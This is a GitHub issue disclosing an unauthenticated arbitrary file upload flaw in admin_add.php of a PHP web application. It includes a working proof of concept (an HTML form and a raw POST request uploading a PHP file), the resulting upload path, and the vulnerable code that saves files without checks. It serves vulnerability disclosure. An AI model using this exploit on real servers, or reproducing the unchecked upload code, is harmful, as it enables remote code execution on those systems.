New issue

Jump to bottom

there is a arbitrary file upload in admin_add.php #15

Open liao10086 opened this issue on Jan 17, 2020 · 0 comments

liao10086 commented on Jan 17, 2020 • edited

version:1.0
No login required.
POC:
upload form

```
<html>
 <form method="post" action="http://127.0.0.1:8888/admin_add.php" enctype="multipart/form-data">
        <td><input type="text" name="add" value="1" readOnly="true"></td>
        <td><input type="file" name="image"></td>
        <input type="submit" name="save" value="upload" class="btn btn-primary">
  </form>
</html>
```

or post data

```
POST /admin_add.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/1.html
Content-Type: multipart/form-data; boundary=---------------------------122435580255965866020472476O
Content-Length: 453
Connection: close
Cookie: PHPSESSID=70880fb8e6521683e23cd9479d86610c
Upgrade-Insecure-Requests: 1

-----------------------------122435580255965866020472476O
Content-Disposition: form-data; name="add"

1
-----------------------------122435580255965866020472476O
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: text/php

<?php
phpinfo();
?>
-----------------------------122435580255965866020472476O
Content-Disposition: form-data; name="save"

upload
-----------------------------122435580255965866020472476O--
```

after you upload your'e file u will find it here /bootstrap/img/1.php

View source code admin_add.php

```php
    if(isset($_POST['add'])){
        $isbn = trim($_POST['isbn']);
        $isbn = mysqli_real_escape_string($conn, $isbn);

        $title = trim($_POST['title']);
        $title = mysqli_real_escape_string($conn, $title);

        $author = trim($_POST['author']);
        $author = mysqli_real_escape_string($conn, $author);

        $descr = trim($_POST['descr']);
        $descr = mysqli_real_escape_string($conn, $descr);

        $price = floatval(trim($_POST['price']));
        $price = mysqli_real_escape_string($conn, $price);

        $publisher = trim($_POST['publisher']);
        $publisher = mysqli_real_escape_string($conn, $publisher);

        // add image
        if(isset($_FILES['image']) && $_FILES['image']['name'] != ""){
            $image = $_FILES['image']['name'];
            $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
            $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
            $uploadDirectory .= $image;
            move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
        }

        // find publisher and return pubid
```

suggest:Please check upload file.
author:zionlab@dbappsecurity.com.cn

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant